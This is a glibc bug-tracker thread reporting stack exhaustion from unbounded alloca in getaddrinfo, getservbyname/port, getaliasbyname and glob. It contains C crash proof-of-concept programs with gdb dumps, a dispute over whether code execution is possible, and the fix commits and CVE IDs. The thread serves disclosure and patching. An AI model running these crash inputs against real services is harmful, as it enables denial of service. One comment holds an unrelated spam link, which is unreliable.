multiple flaws in glibc netdb.h/aliases.h author: maksymilian arciemowicz contact: max at cxib dot net Comparing the safety of glibc and libc in NetBSD, we can see problems with allocating memory in glibc. In glibc: - getaliasbyname(3) - getaliasbyname_r(3) - getaddrinfo(3) - getservbyname(3) - getservbyname_r(3) - getservbyport(3) - getservbyport_r(3) Addtional: - glob(3) --- aliases.h --- In aliases.h, we have getaliasbyname(3) affected. What is wrong? Let's see nis-alias.c -nis-alias.c--- ... enum nss_status _nss_nis_getaliasbyname_r (const char *name, struct aliasent *alias, char *buffer, size_t buflen, int *errnop) { if (name == NULL) { *errnop = EINVAL; return NSS_STATUS_UNAVAIL; } size_t namlen = strlen (name); char name2[namlen + 1]; char *domain; if (__builtin_expect (yp_get_default_domain (&domain), 0)) return NSS_STATUS_UNAVAIL; ... -nis-alias.c--- The main problem is here size_t namlen = strlen (name); char name2[namlen + 1]; better use malloc. PoCs: -getaliasbyname.c--- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaliasbyname getaliasbyname.c && ./getaliasbyname Segmentation fault (gdb) r 11000000 The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /cxib/C/netdb/flaws/getaliasbyname 11000000 Program received signal SIGSEGV, Segmentation fault. _nss_nis_getaliasbyname_r (name=0x7ffff6fdb010 'A' <repeats 200 times>..., alias=0x7ffff7ddac80, buffer=0x403010 "", buflen=1024, errnop=<value optimized out>) at nss_nis/nis-alias.c:220 220 if (__builtin_expect (yp_get_default_domain (&domain), 0)) (gdb) i r rax 0x8583b10 140000016 rbx 0x7fffef4d5010 140737208209424 rcx 0x8583b00 140000000 rdx 0xffff 65535 rsi 0xffffffff 4294967295 rdi 0x7fffffffe550 140737488348496 rbp 0x7fffffffe590 0x7fffffffe590 rsp 0x7ffff7a7aa20 0x7ffff7a7aa20 r8 0x7fffef4d5010 140737208209424 r9 0x37 55 r10 0x7fffffffe2b0 140737488347824 r11 0x7ffff7adbe40 140737348746816 r12 0x7ffff7a7aa2f 140737348348463 r13 0x403010 4206608 r14 0x7ffff7ddac80 140737351888000 r15 0x400 1024 rip 0x7fffef2d1a6a 0x7fffef2d1a6a <_nss_nis_getaliasbyname_r+74> */ #include <aliases.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void main(int argc,char *argv[]) { char *name, *proto; proto=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=proto){ memset(proto,'A',(atoi(argv[1])-1)); proto[(atoi(argv[1])-4)]='.'; proto[(atoi(argv[1])-3)]='c'; proto[(atoi(argv[1])-2)]='o'; proto[(atoi(argv[1])-1)]='m'; getaliasbyname(proto); } } -getaliasbyname.c--- -getaliasbyname_r.c--- /* cx@cx64:/cxib/C/netdb/flaws$ ./getaliasbyname_r 22222222 Segmentation fault rax 0x69f6be0 111111136 rbx 0x7ffff1062010 140737237098512 rcx 0x69f6bc7 111111111 rdx 0xff80 65408 rsi 0xffffffff 4294967295 rdi 0x7fffffffe540 140737488348480 rbp 0x7fffffffe580 0x7fffffffe580 rsp 0x7ffff9607940 0x7ffff9607940 r8 0x7ffff1062010 140737237098512 r9 0x37 55 r10 0x7fffffffe2a0 140737488347808 r11 0x7ffff7adbe40 140737348746816 r12 0x7ffff960794f 140737377237327 r13 0x403010 4206608 r14 0x7fffffffe610 140737488348688 r15 0x400 1024 rip 0x7ffff0e5ea6a 0x7ffff0e5ea6a <_nss_nis_getaliasbyname_r+74> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 */ #include <aliases.h> #include <stdlib.h> #include <unistd.h> #include <string.h> void main(int argc,char *argv[]) { char *name, *proto, *buf; struct aliasent resultbuf; struct aliasent *hst; buf=malloc(1025*sizeof(char)); proto=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=proto){ memset(proto,'A',(atoi(argv[1])-1)); proto[(atoi(argv[1])-4)]='.'; proto[(atoi(argv[1])-3)]='c'; proto[(atoi(argv[1])-2)]='o'; proto[(atoi(argv[1])-1)]='m'; getaliasbyname_r(proto,&resultbuf,buf,1024,&hst); } } -getaliasbyname_r.c--- --- aliases.h --- --- netdb.h --- In netdb.h we have a lot of vulnerable functions. Using alloca function, in nscd lib, generate code execution via long name string. Let's see what is wrong: -nscd_getserv_r--- ... static int nscd_getserv_r (const char *crit, size_t critlen, const char *proto, request_type type, struct servent *resultbuf, char *buf, size_t buflen, struct servent **result) { int gc_cycle; int nretries = 0; /* If the mapping is available, try to search there instead of communicating with the nscd. */ struct mapped_database *mapped; mapped = __nscd_get_map_ref (GETFDSERV, "services", &__serv_map_handle, &gc_cycle); size_t protolen = proto == NULL ? 0 : strlen (proto); size_t keylen = critlen + 1 + protolen + 1; char *key = alloca (keylen); memcpy (__mempcpy (__mempcpy (key, crit, critlen), "/", 1), proto ?: "", protolen + 1); ... -nscd_getserv_r--- When alloca(3) fail here char *key = alloca (keylen); then buffer overflow here memcpy (__mempcpy (__mempcpy (key, crit, critlen), "/", 1), proto ?: "", protolen + 1); In result: (gdb) x/i $rip => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi) (gdb) x/x $rdi 0x7ffff7a58fe9: 0x41414141 (gdb) x/x $r9 0x4141414141414141: Cannot access memory at address 0x4141414141414141 See PoCs: -getaddrinfo.c- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaddrinfo getaddrinfo.c && ./getaddrinfo 150000000 Segmentation fault (gdb) i r rax 0x4141414141414141 4702111234474983745 rbx 0xffffffffffffffff -1 rcx 0x10b497 1094807 rdx 0x8e49180 149197184 rsi 0x7fffef4b3590 140737208071568 rdi 0x7ffff7a59000 140737348210688 rbp 0x7fffffffdd10 0x7fffffffdd10 rsp 0x7ffff70f0a78 0x7ffff70f0a78 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x4141414141414141 4702111234474983745 r12 0x4141414141414141 4702111234474983745 r13 0x4141414141414141 4702111234474983745 r14 0x4141414141414141 4702111234474983745 r15 0x7fffeeb4b010 140737198206992 rip 0x7ffff7adf560 0x7ffff7adf560 <mempcpy+944> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 */ #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> void main(int argc,char *argv[]) { char *name; name=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=name){ memset(name,'A',(atoi(argv[1])-1)); name[(atoi(argv[1])-4)]='.'; name[(atoi(argv[1])-3)]='c'; name[(atoi(argv[1])-2)]='o'; name[(atoi(argv[1])-1)]='m'; memset(name,'A',(atoi(argv[1])-1)); struct addrinfo hints; struct addrinfo *result, *rp; int sfd, s; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */ hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */ hints.ai_flags = AI_PASSIVE; /* For wildcard IP address */ hints.ai_protocol = 0; /* Any protocol */ hints.ai_canonname = NULL; hints.ai_addr = NULL; hints.ai_next = NULL; s = getaddrinfo(NULL, name, &hints, &result); } } -getaddrinfo.c- -getservbyname.c- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname getservbyname.c && ./getservbyname 150000000 Segmentation fault (gdb) x/i $rip => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi) (gdb) x/x $rdi 0x7ffff7a58fe9: 0x41414141 (gdb) x/x $r9 0x4141414141414141: Cannot access memory at address 0x4141414141414141 (gdb) i r rax 0x4141414141414141 4702111234474983745 rbx 0xffffffffffffffff -1 rcx 0x10b4a7 1094823 rdx 0x8e49181 149197185 rsi 0x7fffef4b2d90 140737208069520 rdi 0x7ffff7a58fe9 140737348210665 rbp 0x7fffffffe4f0 0x7fffffffe4f0 rsp 0x7ffff70f1258 0x7ffff70f1258 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x4141414141414141 4702111234474983745 r12 0x4141414141414141 4702111234474983745 r13 0x4141414141414141 4702111234474983745 r14 0x4141414141414141 4702111234474983745 r15 0x40089c 4196508 rip 0x7ffff7adfe59 0x7ffff7adfe59 <memcpy+969> eflags 0x10202 [ IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 */ #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> void main(int argc,char *argv[]) { char *name, *proto; proto=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=proto){ memset(proto,'A',(atoi(argv[1])-1)); proto[(atoi(argv[1])-4)]='.'; proto[(atoi(argv[1])-3)]='c'; proto[(atoi(argv[1])-2)]='o'; proto[(atoi(argv[1])-1)]='m'; getservbyname("cxib.net",proto); } } -getservbyname.c- -getservbyname_r.c- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname_r getservbyname_r.c && ./getservbyname_r 15000000 Segmentation fault gram received signal SIGSEGV, Segmentation fault. 0x00007ffff7b79bc2 in nscd_getserv_r (crit=0x7ffff6c0a010 'A' <repeats 200 times>..., critlen=<value optimized out>, proto=0x40082c "tcp", type=<value optimized out>, resultbuf=<value optimized out>, buf=<value optimized out>, buflen=4096, result=0x7fffffffe640) at nscd_getserv_r.c:92 */ #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> void main(int argc,char *argv[]) { struct servent resultbuf; struct servent *hst; int ret,buf_len=4096; char *name, *proto,*buf; name=malloc((atoi(argv[1])+1)*sizeof(char)); if(NULL!=proto){ memset(name,'A',(atoi(argv[1])-1)); name[(atoi(argv[1])-4)]='.'; name[(atoi(argv[1])-3)]='c'; name[(atoi(argv[1])-2)]='o'; name[(atoi(argv[1])-1)]='m'; buf=malloc(buf_len*sizeof(char)); getservbyname_r(name,"tcp", &resultbuf, buf, buf_len, &hst); } } -getservbyname_r.c- -getservbyport.c- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport getservbyport.c && ./getservbyport 150000000 Segmentation fault rax 0x4141414141414141 4702111234474983745 rbx 0xffffffffffffffff -1 rcx 0x10b4a8 1094824 rdx 0x8e49181 149197185 rsi 0x7fffef4b2d10 140737208069392 rdi 0x7ffff7a58fa4 140737348210596 rbp 0x7fffffffe530 0x7fffffffe530 rsp 0x7ffff70f1298 0x7ffff70f1298 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x4141414141414141 4702111234474983745 r12 0x4141414141414141 4702111234474983745 r13 0x4141414141414141 4702111234474983745 r14 0x4141414141414141 4702111234474983745 r15 0x7fffffffe55b 140737488348507 rip 0x7ffff7adfea6 0x7ffff7adfea6 <memcpy+1046> eflags 0x10202 [ IF RF ] cs 0x33 51 */ #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> void main(int argc,char *argv[]) { char *name, *proto; proto=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=proto){ memset(proto,'A',(atoi(argv[1])-1)); proto[(atoi(argv[1])-4)]='.'; proto[(atoi(argv[1])-3)]='c'; proto[(atoi(argv[1])-2)]='o'; proto[(atoi(argv[1])-1)]='m'; getservbyport(80,proto); } } -getservbyport.c- -getservbyport_r.c- /* cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport_r getservbyport_r.c && ./getservbyport_r 15000000 Segmentation fault rax 0x4141414141414141 4702111234474983745 rbx 0xffffffffffffffff -1 rcx 0x10b4a7 1094823 rdx 0x422df5c8 1110308296 rsi 0x7fffef4b3190 140737208070544 rdi 0x7ffff7a58fb4 140737348210612 rbp 0x7fffffffe500 0x7fffffffe500 rsp 0x7fffbdc5ae28 0x7fffbdc5ae28 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x4141414141414141 4702111234474983745 r12 0x4141414141414141 4702111234474983745 r13 0x4141414141414141 4702111234474983745 r14 0x4141414141414141 4702111234474983745 r15 0x7fffffffe52b 140737488348459 rip 0x7ffff7adfe9c 0x7ffff7adfe9c <memcpy+1036> */ #include <netdb.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <string.h> void main(int argc,char *argv[]) { struct servent resultbuf; struct servent *hst; int ret,buf_len=4096; char *name, *proto,*buf; proto=malloc(atoi(argv[1])*sizeof(char)); if(NULL!=proto){ memset(proto,'A',(atoi(argv[1])-1)); proto[(atoi(argv[1])-4)]='.'; proto[(atoi(argv[1])-3)]='c'; proto[(atoi(argv[1])-2)]='o'; proto[(atoi(argv[1])-1)]='m'; buf=malloc(buf_len*sizeof(char)); getservbyport_r(80, proto, &resultbuf, buf, buf_len, &hst); } } -getservbyport_r.c- --- netdb.h --- in the end glob(3) ----- #include <stdlib.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <glob.h> int main(int argc, char *argv[]){ char *name, *proto; glob_t globbuf; proto=malloc(atoi(argv[1])*sizeof(char)); memset(proto,'A',(atoi(argv[1])-1)); glob(proto, GLOB_DOOFFS, NULL, &globbuf); return 0; } ----- Starting program: /cxib/C/allo/globo 150000000 Program received signal SIGSEGV, Segmentation fault. memcpy () at ../sysdeps/x86_64/memcpy.S:516 516 ../sysdeps/x86_64/memcpy.S: No such file or directory. in ../sysdeps/x86_64/memcpy.S (gdb) i r rax 0x4141414141414141 4702111234474983745 rbx 0x7ffff70f0ce0 140737338346720 rcx 0x10b49c 1094812 rdx 0x8e49180 149197184 rsi 0x7fffef4b3310 140737208070928 rdi 0x7ffff7a58fe2 140737348210658 rbp 0x7fffffffe3a0 0x7fffffffe3a0 rsp 0x7ffff70f0cd8 0x7ffff70f0cd8 r8 0x4141414141414141 4702111234474983745 r9 0x4141414141414141 4702111234474983745 r10 0x4141414141414141 4702111234474983745 r11 0x4141414141414141 4702111234474983745 r12 0x4141414141414141 4702111234474983745 r13 0x4141414141414141 4702111234474983745 r14 0x4141414141414141 4702111234474983745 r15 0x7fffffffe630 140737488348720 rip 0x7ffff7adfe5e 0x7ffff7adfe5e <memcpy+974> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) bt #0 memcpy () at ../sysdeps/x86_64/memcpy.S:516 #1 0x00007ffff7b05a7d in glob_in_dir (pattern=<value optimized out>, directory=<value optimized out>, flags=<value optimized out>, errfunc=<value optimized out>, pglob=0x7fffffffe630) at ../posix/glob.c:1321 #2 0x00007ffff7b0710e in glob (pattern=0x7fffeeb4b010 'A' <repeats 200 times>..., flags=8, errfunc=<value optimized out>, pglob=0x7fffffffe630) at ../posix/glob.c:1008 #3 0x000000000040067b in main () Best
(In reply to comment #0) > --- netdb.h --- > In netdb.h we have a lot of vulnerable functions. Using alloca function, in > nscd lib, generate code execution via long name string. Can you please explain the code execution? It's not quite obvious from your examples. > (gdb) x/i $rip > => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi) > (gdb) x/x $rdi > 0x7ffff7a58fe9: 0x41414141 > (gdb) x/x $r9 > 0x4141414141414141: Cannot access memory at address 0x4141414141414141 As far as I can see, the instruction is trying to read value stored in register r9, not from the memory pointed to by register r9.
These are no vulnerabilities. Pretty much all programs can be made to exhaust the stack when unchecked input is accepted. I did some more checks. The tests included in this bug do no help the least to make sure there are no problem and therefore I'm not adding any of them.
I have once again analized problems in netdb. The difference between a gnu and netbsd is such that NetBSD seems to be vulnerable to stack overflow. I was unable to reproduce this on Linux. The reason is simple because NetBSD is based on another code. http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyname_r.c http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/net/getservbyport_r.c Anyway, in my opinion, we should do something with alloca() calls. Certainly limit the use of the stack to store data.
*** Bug 260998 has been marked as a duplicate of this bug. *** Seen from the domain http://volichat.com Page where seen: http://volichat.com/adult-chat-rooms Marked for reference. Resolved as fixed @bugzilla.
Tomas Hoger identified the following commits, quoting: “Upstream has fixed couple of unbound alloca uses which can lead to program crashes if excessively long inputs are passed to certain functions. http://sourceware.org/bugzilla/show_bug.cgi?id=12671 http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=f2962a71959fd254a7a223437ca4b63b9e81130c covers cases that can be triggered via getaddrinfo, getservbyname* and glob. http://sourceware.org/git/?p=glibc.git;a=commitdiff;h=34a9094f49241ebb72084c536cf468fd51ebe3ec covers other alloca uses inside getaddrinfo.” These commits went into glibc 2.14. Debian identified another commit, which went into glibc 2.14.1 only: https://sourceware.org/git/?p=glibc.git;a=commit;h=c8fc0c91695b1c7003c7170861274161f9224817 Source for the CVE mapping is here: https://marc.info/?l=oss-security&m=142255034710625&w=2
(In reply to Florian Weimer from comment #5) > Debian identified another commit, which went into glibc 2.14.1 only: > > https://sourceware.org/git/?p=glibc.git;a=commit; > h=c8fc0c91695b1c7003c7170861274161f9224817 Per https://bugzilla.redhat.com/show_bug.cgi?id=809602 https://bugzilla.redhat.com/show_bug.cgi?id=709267 this commit is actually a fix of a regression, which is also potentially security-relevant.
This was also assigned CVE-2013-4357: http://www.openwall.com/lists/oss-security/2013/09/17/4 Since the CVE-2012-6686 assignment is younger, I'll ask on oss-security to reject it.
(In reply to Max from comment #0) > multiple flaws in glibc netdb.h/aliases.h > author: maksymilian arciemowicz > contact: max at cxib dot net > > Comparing the safety of glibc and libc in NetBSD, we can see problems with > allocating memory in glibc. > > In glibc: > - getaliasbyname(3) > - getaliasbyname_r(3) > - getaddrinfo(3) > - getservbyname(3) > - getservbyname_r(3) > - getservbyport(3) > - getservbyport_r(3) > Addtional: > - glob(3) > > --- aliases.h --- > In aliases.h, we have getaliasbyname(3) affected. What is wrong? Let's see > nis-alias.c > > -nis-alias.c--- > ... > enum nss_status > _nss_nis_getaliasbyname_r (const char *name, struct aliasent *alias, > char *buffer, size_t buflen, int *errnop) > { > if (name == NULL) > { > *errnop = EINVAL; > return NSS_STATUS_UNAVAIL; > } > > size_t namlen = strlen (name); > char name2[namlen + 1]; > > char *domain; > if (__builtin_expect (yp_get_default_domain (&domain), 0)) > return NSS_STATUS_UNAVAIL; > ... > -nis-alias.c--- > > The main problem is here > > size_t namlen = strlen (name); > char name2[namlen + 1]; > > better use malloc. > > PoCs: > -getaliasbyname.c--- > /* > cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaliasbyname getaliasbyname.c && > ./getaliasbyname > Segmentation fault > > (gdb) r 11000000 > The program being debugged has been started already. > Start it from the beginning? (y or n) y > > Starting program: /cxib/C/netdb/flaws/getaliasbyname 11000000 > > Program received signal SIGSEGV, Segmentation fault. > _nss_nis_getaliasbyname_r (name=0x7ffff6fdb010 'A' <repeats 200 times>..., > alias=0x7ffff7ddac80, > buffer=0x403010 "", buflen=1024, errnop=<value optimized out>) at > nss_nis/nis-alias.c:220 > 220 if (__builtin_expect (yp_get_default_domain (&domain), 0)) > (gdb) i r > rax 0x8583b10 140000016 > rbx 0x7fffef4d5010 140737208209424 > rcx 0x8583b00 140000000 > rdx 0xffff 65535 > rsi 0xffffffff 4294967295 > rdi 0x7fffffffe550 140737488348496 > rbp 0x7fffffffe590 0x7fffffffe590 > rsp 0x7ffff7a7aa20 0x7ffff7a7aa20 > r8 0x7fffef4d5010 140737208209424 > r9 0x37 55 > r10 0x7fffffffe2b0 140737488347824 > r11 0x7ffff7adbe40 140737348746816 > r12 0x7ffff7a7aa2f 140737348348463 > r13 0x403010 4206608 > r14 0x7ffff7ddac80 140737351888000 > r15 0x400 1024 > rip 0x7fffef2d1a6a 0x7fffef2d1a6a <_nss_nis_getaliasbyname_r+74> > > > */ > #include <aliases.h> > #include <stdlib.h> > #include <unistd.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > > char *name, *proto; > > proto=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=proto){ > memset(proto,'A',(atoi(argv[1])-1)); > proto[(atoi(argv[1])-4)]='.'; > proto[(atoi(argv[1])-3)]='c'; > proto[(atoi(argv[1])-2)]='o'; > proto[(atoi(argv[1])-1)]='m'; > > getaliasbyname(proto); > } > } > -getaliasbyname.c--- > > -getaliasbyname_r.c--- > /* > cx@cx64:/cxib/C/netdb/flaws$ ./getaliasbyname_r 22222222 > Segmentation fault > > rax 0x69f6be0 111111136 > rbx 0x7ffff1062010 140737237098512 > rcx 0x69f6bc7 111111111 > rdx 0xff80 65408 > rsi 0xffffffff 4294967295 > rdi 0x7fffffffe540 140737488348480 > rbp 0x7fffffffe580 0x7fffffffe580 > rsp 0x7ffff9607940 0x7ffff9607940 > r8 0x7ffff1062010 140737237098512 > r9 0x37 55 > r10 0x7fffffffe2a0 140737488347808 > r11 0x7ffff7adbe40 140737348746816 > r12 0x7ffff960794f 140737377237327 > r13 0x403010 4206608 > r14 0x7fffffffe610 140737488348688 > r15 0x400 1024 > rip 0x7ffff0e5ea6a 0x7ffff0e5ea6a <_nss_nis_getaliasbyname_r+74> > eflags 0x10202 [ IF RF ] > cs 0x33 51 > ss 0x2b 43 > ds 0x0 0 > es 0x0 0 > fs 0x0 0 > gs 0x0 0 > > > > */ > #include <aliases.h> > #include <stdlib.h> > #include <unistd.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > > char *name, *proto, *buf; > struct aliasent resultbuf; > struct aliasent *hst; > buf=malloc(1025*sizeof(char)); > > proto=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=proto){ > memset(proto,'A',(atoi(argv[1])-1)); > proto[(atoi(argv[1])-4)]='.'; > proto[(atoi(argv[1])-3)]='c'; > proto[(atoi(argv[1])-2)]='o'; > proto[(atoi(argv[1])-1)]='m'; > > getaliasbyname_r(proto,&resultbuf,buf,1024,&hst); > } > } > -getaliasbyname_r.c--- > --- aliases.h --- > > > --- netdb.h --- > In netdb.h we have a lot of vulnerable functions. Using alloca function, in > nscd lib, generate code execution via long name string. > Let's see what is wrong: > > -nscd_getserv_r--- > ... > static int > nscd_getserv_r (const char *crit, size_t critlen, const char *proto, > request_type type, struct servent *resultbuf, > char *buf, size_t buflen, struct servent **result) > { > int gc_cycle; > int nretries = 0; > > /* If the mapping is available, try to search there instead of > communicating with the nscd. */ > struct mapped_database *mapped; > mapped = __nscd_get_map_ref (GETFDSERV, "services", &__serv_map_handle, > &gc_cycle); > size_t protolen = proto == NULL ? 0 : strlen (proto); > size_t keylen = critlen + 1 + protolen + 1; > char *key = alloca (keylen); > memcpy (__mempcpy (__mempcpy (key, crit, critlen), > "/", 1), proto ?: "", protolen + 1); > ... > -nscd_getserv_r--- > > When alloca(3) fail here > > char *key = alloca (keylen); > > then buffer overflow here > > memcpy (__mempcpy (__mempcpy (key, crit, critlen), > "/", 1), proto ?: "", protolen + 1); > > In result: > > (gdb) x/i $rip > => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi) > (gdb) x/x $rdi > 0x7ffff7a58fe9: 0x41414141 > (gdb) x/x $r9 > 0x4141414141414141: Cannot access memory at address 0x4141414141414141 > > See PoCs: > > -getaddrinfo.c- > /* > cx@cx64:/cxib/C/netdb/flaws$ gcc -o getaddrinfo getaddrinfo.c && > ./getaddrinfo 150000000 > Segmentation fault > (gdb) i r > rax 0x4141414141414141 4702111234474983745 > rbx 0xffffffffffffffff -1 > rcx 0x10b497 1094807 > rdx 0x8e49180 149197184 > rsi 0x7fffef4b3590 140737208071568 > rdi 0x7ffff7a59000 140737348210688 > rbp 0x7fffffffdd10 0x7fffffffdd10 > rsp 0x7ffff70f0a78 0x7ffff70f0a78 > r8 0x4141414141414141 4702111234474983745 > r9 0x4141414141414141 4702111234474983745 > r10 0x4141414141414141 4702111234474983745 > r11 0x4141414141414141 4702111234474983745 > r12 0x4141414141414141 4702111234474983745 > r13 0x4141414141414141 4702111234474983745 > r14 0x4141414141414141 4702111234474983745 > r15 0x7fffeeb4b010 140737198206992 > rip 0x7ffff7adf560 0x7ffff7adf560 <mempcpy+944> > eflags 0x10202 [ IF RF ] > cs 0x33 51 > ss 0x2b 43 > > */ > #include <netdb.h> > #include <stdlib.h> > #include <unistd.h> > #include <arpa/inet.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > > char *name; > > name=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=name){ > memset(name,'A',(atoi(argv[1])-1)); > name[(atoi(argv[1])-4)]='.'; > name[(atoi(argv[1])-3)]='c'; > name[(atoi(argv[1])-2)]='o'; > name[(atoi(argv[1])-1)]='m'; > memset(name,'A',(atoi(argv[1])-1)); > > struct addrinfo hints; > struct addrinfo *result, *rp; > > int sfd, s; > > > memset(&hints, 0, sizeof(struct addrinfo)); > hints.ai_family = AF_UNSPEC; /* Allow IPv4 or IPv6 */ > hints.ai_socktype = SOCK_DGRAM; /* Datagram socket */ > hints.ai_flags = AI_PASSIVE; /* For wildcard IP address */ > hints.ai_protocol = 0; /* Any protocol */ > hints.ai_canonname = NULL; > hints.ai_addr = NULL; > hints.ai_next = NULL; > > s = getaddrinfo(NULL, name, &hints, &result); > > } > } > -getaddrinfo.c- > > -getservbyname.c- > /* > cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname getservbyname.c && > ./getservbyname 150000000 > Segmentation fault > > (gdb) x/i $rip > => 0x7ffff7adfe59 <memcpy+969>: movnti %r9,0x10(%rdi) > (gdb) x/x $rdi > 0x7ffff7a58fe9: 0x41414141 > (gdb) x/x $r9 > 0x4141414141414141: Cannot access memory at address 0x4141414141414141 > > (gdb) i r > rax 0x4141414141414141 4702111234474983745 > rbx 0xffffffffffffffff -1 > rcx 0x10b4a7 1094823 > rdx 0x8e49181 149197185 > rsi 0x7fffef4b2d90 140737208069520 > rdi 0x7ffff7a58fe9 140737348210665 > rbp 0x7fffffffe4f0 0x7fffffffe4f0 > rsp 0x7ffff70f1258 0x7ffff70f1258 > r8 0x4141414141414141 4702111234474983745 > r9 0x4141414141414141 4702111234474983745 > r10 0x4141414141414141 4702111234474983745 > r11 0x4141414141414141 4702111234474983745 > r12 0x4141414141414141 4702111234474983745 > r13 0x4141414141414141 4702111234474983745 > r14 0x4141414141414141 4702111234474983745 > r15 0x40089c 4196508 > rip 0x7ffff7adfe59 0x7ffff7adfe59 <memcpy+969> > eflags 0x10202 [ IF RF ] > cs 0x33 51 > ss 0x2b 43 > ds 0x0 0 > es 0x0 0 > > */ > #include <netdb.h> > #include <stdlib.h> > #include <unistd.h> > #include <arpa/inet.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > > char *name, *proto; > > proto=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=proto){ > memset(proto,'A',(atoi(argv[1])-1)); > proto[(atoi(argv[1])-4)]='.'; > proto[(atoi(argv[1])-3)]='c'; > proto[(atoi(argv[1])-2)]='o'; > proto[(atoi(argv[1])-1)]='m'; > > getservbyname("cxib.net",proto); > } > } > -getservbyname.c- > > > -getservbyname_r.c- > /* > > cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyname_r getservbyname_r.c && > ./getservbyname_r 15000000 > Segmentation fault > > gram received signal SIGSEGV, Segmentation fault. > 0x00007ffff7b79bc2 in nscd_getserv_r (crit=0x7ffff6c0a010 'A' <repeats 200 > times>..., > critlen=<value optimized out>, proto=0x40082c "tcp", type=<value > optimized out>, > resultbuf=<value optimized out>, buf=<value optimized out>, buflen=4096, > result=0x7fffffffe640) at nscd_getserv_r.c:92 > > > */ > #include <netdb.h> > #include <stdlib.h> > #include <unistd.h> > #include <arpa/inet.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > struct servent resultbuf; > struct servent *hst; > > int ret,buf_len=4096; > char *name, *proto,*buf; > > name=malloc((atoi(argv[1])+1)*sizeof(char)); > if(NULL!=proto){ > memset(name,'A',(atoi(argv[1])-1)); > name[(atoi(argv[1])-4)]='.'; > name[(atoi(argv[1])-3)]='c'; > name[(atoi(argv[1])-2)]='o'; > name[(atoi(argv[1])-1)]='m'; > buf=malloc(buf_len*sizeof(char)); > > getservbyname_r(name,"tcp", &resultbuf, buf, buf_len, &hst); > } > } > -getservbyname_r.c- > > -getservbyport.c- > /* > cx@cx64:/cxib/C/netdb/flaws$ gcc -g -o getservbyport getservbyport.c && > ./getservbyport 150000000 > Segmentation fault > rax 0x4141414141414141 4702111234474983745 > rbx 0xffffffffffffffff -1 > rcx 0x10b4a8 1094824 > rdx 0x8e49181 149197185 > rsi 0x7fffef4b2d10 140737208069392 > rdi 0x7ffff7a58fa4 140737348210596 > rbp 0x7fffffffe530 0x7fffffffe530 > rsp 0x7ffff70f1298 0x7ffff70f1298 > r8 0x4141414141414141 4702111234474983745 > r9 0x4141414141414141 4702111234474983745 > r10 0x4141414141414141 4702111234474983745 > r11 0x4141414141414141 4702111234474983745 > r12 0x4141414141414141 4702111234474983745 > r13 0x4141414141414141 4702111234474983745 > r14 0x4141414141414141 4702111234474983745 > r15 0x7fffffffe55b 140737488348507 > rip 0x7ffff7adfea6 0x7ffff7adfea6 <memcpy+1046> > eflags 0x10202 [ IF RF ] > cs 0x33 51 > > */ > #include <netdb.h> > #include <stdlib.h> > #include <unistd.h> > #include <arpa/inet.h> > #include <string.h> > > void main(int argc,char *argv[]) > { > > char *name, *proto; > > proto=malloc(atoi(argv[1])*sizeof(char)); > if(NULL!=proto){ > memset(proto,'A',(atoi(argv[1])-1)); > proto[(atoi(argv[1])-4)]='.'; > proto[(atoi(argv[1])-3)]='c'; > proto[(atoi(argv[1])-2)]='o'; > proto[(atoi(argv[1])-1)]='m'; > > getservbyport(80,proto); > } > } > -getservbyport.c- > > -getservbyport_r.c- 